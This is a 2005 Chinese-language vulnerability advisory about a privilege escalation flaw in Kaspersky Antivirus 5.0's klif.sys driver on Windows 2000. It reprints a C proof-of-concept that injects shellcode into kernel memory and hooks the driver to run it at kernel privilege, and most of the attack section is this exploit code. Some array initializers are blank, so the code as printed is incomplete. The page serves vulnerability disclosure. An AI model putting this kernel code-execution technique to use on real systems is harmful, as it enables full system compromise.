热门关键字:  PHP  Cisco  seo  网络广告 虚拟主机 中文域名
当前位置 :| 主页>安全技术>漏洞播报>

Kaspersky杀毒软件klif.sys权限提升漏洞

来源: 作者: 时间:2005-07-02 点击:

Kaspersky杀毒软件程序
 
描述:
Kaspersky杀毒软件klif.sys权限提升漏洞
 
 
详细:
Kaspersky是一款非常流行的杀毒软件。

Microsoft Windows 2000平台的Kaspersky软件设计上存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。

起因是Kaspersky内核驱动klif.sys没有正确丢弃高权限,攻击者可能利用这个漏洞以系统内核的权限执行任意代码。

<*来源:Ilya Rabinovich (info@softsphere.com)

链接:http://marc.theaimsgroup.com/?l=bugtraq&m=111817777430401&w=2
*>

受影响系统:
Kaspersky Labs Kaspersky Antivirus 5.0.335
Kaspersky Labs Kaspersky Antivirus 5.0.228
Kaspersky Labs Kaspersky Antivirus 5.0.227
 
 
攻击方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

//(C) by Ilya Rabinovich.

#include <windows.h>

PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;

PDWORD pJmpAddress=(PDWORD)0xBE9372B0;

PUCHAR pKAVRets[]=;

PUCHAR pKAVRet;


unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
 0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
 0x6A,0x00, //push 0
 0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
 0xFF,0xD0, //call eax
 0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
 0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
 0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
 0xFF,0xD0, //call eax
 0x85,0xC0, //test eax,eax
 0x74,0x03, //je +03
 0xC2,0x04,0x00, //retn 4
 0x6A,0x00, //push 0
 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
 0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
 0x6A,0x00, //push 0
 0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
 0xFF,0xD0, //call eax
 0xC2,0x04,0x00 //retn 4
 };

unsigned char jmp_code[]=; //jmp dword prt \
[0xBE9372B0]

//////////////////////////////////////////////////////////////

BOOLEAN LoadExploitIntoKernelMemory(void){



//Get function's addresses

 HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
 HANDLE hUser=GetModuleHandle("USER32.DLL");

 FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
 FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");

 FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");

 *(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
 *(DWORD*)(code+30)=(DWORD)plstrcmpiA;
 *(DWORD*)(code+58)=(DWORD)pMessageBoxA;

//Prepare our data into ring0-zone.

 PCHAR pNotepadName=(PCHAR)0xBE938200;

 char temp_buffer[MAX_PATH];
 char *s;

 SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

 lstrcpy(pNotepadName,temp_buffer);

 PCHAR pMessage=(PCHAR)0xBE938400;

 lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");

 memmove(pCodeBase,code,sizeof(code));

 *pJmpAddress=(DWORD)pCodeBase;

 memmove(pKAVRet,jmp_code,sizeof(jmp_code));

 return TRUE;
}

///////////////////////////////////////////////////////////////

void UnloadExploitFromKernelMemory(){

 UCHAR retn_4[]=;

 memmove(pKAVRet,retn_4,sizeof(retn_4));

}

/////////////////////////////////////////////////////////////////

PUCHAR GetKAVRetAddress(void){

//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.

 UCHAR retn_4[]=;

 __try{

 for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){

  if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
 return pKAVRets[i];

 }

 }__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not \
installed",NULL,0);return NULL;}


 MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of \
KAV",NULL,0); return NULL;
}

/////////////////////////////////////////////////////////////////

void main(void){

 pKAVRet=GetKAVRetAddress();

 if(NULL==pKAVRet)
 return;


 if(!LoadExploitIntoKernelMemory())
 return;

 char temp_buffer[MAX_PATH];
 char *s;

 SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);

 PROCESS_INFORMATION pi;

 STARTUPINFO si=;
 si.cb=sizeof(si);

 CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
  0,NULL,NULL,&si,&pi);

 WaitForSingleObject(pi.hProcess,INFINITE);

 MessageBox(NULL,"Now you may start your own Notepad instance to check this \
exploit!","KAV_EXPLOITER",0);

 MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);

 UnloadExploitFromKernelMemory();
}
 
 
解决方案:
厂商补丁:

Kaspersky Labs
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kaspersky.com/
 

最新评论共有 0 位网友发表了评论
发表评论
评论内容:不能超过250字,需审核,请自觉遵守互联网相关政策法规。
用户名: 密码:
匿名?
注册
赞助商连接